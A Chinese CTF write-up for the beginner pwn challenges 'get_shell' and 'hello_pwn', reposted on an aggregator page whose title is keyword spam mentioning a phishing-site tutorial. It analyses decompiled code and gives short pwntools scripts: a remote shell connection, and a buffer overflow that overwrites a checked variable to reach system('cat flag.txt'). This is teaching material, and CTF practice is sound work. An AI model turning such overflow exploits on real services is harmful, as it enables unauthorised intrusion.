您的位置:首页 > 财经 > 产业 > 陕西今日头条_钓鱼网站搭建教程_2345网址导航怎么下载_互联网优化是什么意思

陕西今日头条_钓鱼网站搭建教程_2345网址导航怎么下载_互联网优化是什么意思

2025/4/19 5:46:04 来源:https://blog.csdn.net/CLAY0011/article/details/144858125  浏览:    关键词:陕西今日头条_钓鱼网站搭建教程_2345网址导航怎么下载_互联网优化是什么意思
陕西今日头条_钓鱼网站搭建教程_2345网址导航怎么下载_互联网优化是什么意思

get_shell

这题直接给shell了

exp

from pwn import*
p = remote('61.147.171.105',59682)
p.sendline('cat flag')
p.interactive()

cyberpeace{8cd678c722f48327a69b2661ae8956c8}

hello_pwn

checksec一下

ok,64位的

{alarm(0x3Cu);setbuf(stdout, 0LL);puts("~~ welcome to ctf ~~     ");puts("lets get helloworld for bof");read(0, &unk_601068, 0x10uLL);if ( dword_60106C == 1853186401 )sub_400686();return 0LL;
}
alarm(0x3Cu):
调用alarm函数设置了一个定时器,其值为0x3Cu(60秒)。如果程序在60秒内没有结束,会收到一个SIGALRM信号。这通常用于防止程序挂起。setbuf(stdout, 0LL):
关闭stdout的缓冲,使得所有输出都立即写入。这通常用于调试,以便实时查看程序输出。puts()函数:
使用puts函数输出两条欢迎信息。read(0, &unk_601068, 0x10uLL):
这是漏洞的关键点。read函数从文件描述符0(通常是标准输入stdin)读取0x10uLL(16字节)的数据到unk_601068这个地址。这里有几个问题:unk_601068可能是一个未初始化的或未分配足够空间的缓冲区,导致缓冲区溢出。
读取的字节数0x10uLL是硬编码的,没有考虑实际缓冲区的大小。
如果用户输入超过16字节的数据,会覆盖缓冲区后面的内存区域,可能包括其他变量的值或者函数的返回地址。
if ( dword_60106C == 'nuaa' ) sub_400686():
这里检查dword_60106C(unk_601068后面的一个双字)是否等于'nuaa'。这个检查看起来是为了确保某种条件满足时才调用sub_400686()。然而,由于缓冲区溢出漏洞,攻击者可以故意构造输入来覆盖dword_60106C的值,从而控制程序的执行流程。sub_400686()函数:该函数返回一个 64 位整数(__int64)。函数的主体做了两件事情:system("cat flag.txt");:这行代码调用了 system 函数,该函数执行传递给它的字符串参数作为 shell 命令。在这里,它尝试运行 cat flag.txt 命令,这个命令在 Unix-like 系统(比如 Linux)上用于显示 flag.txt 文件的内容。如果该文件存在且可读,它的内容将被输出到标准输出(通常是终端或控制台)。return 0LL;:这行代码表示函数执行成功,并返回整数值 0。LL 后缀用于明确表示这个整数值是一个 64 位整数。

read(0, &unk_601068, 0x10uLL); 读取数据
if ( dword_60106C == 1853186401 ) 判断值是否相等

来看一下这两行代码

if 这个->dword_60106C = 1853186401

当上述的条件判断 if 语句中的条件满足,也就是 dword_60106C 的值确实等于 1853186401 时,会执行 sub_400686() 这个函数调用。

双击点开看看

会执行cat flag命令

可以分析得到:当unk_601068 = dword_60106C时,得到flag

双击dword_60106C,定位到这里

dword_60106C与unk_601068相差4个字节

编写exp

from pwn import*
p = remote('61.147.171.105',57285)
p.sendline(b'a'*4+p64(1853186401))
p.interactive()

payload=b'a'*4+p64(1853186401)

解读

b:字节类型 #python3脚本中的,python2的可以去掉

4 #四个字节,dword_60106C与dword_60106C相差4个字节

p64 #64位的

1853186401 #dword_60106C == 1853186401,这个值要等于unk_601068的值

cyberpeace{0d34d62bdc19f237ee4906a664260c63

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com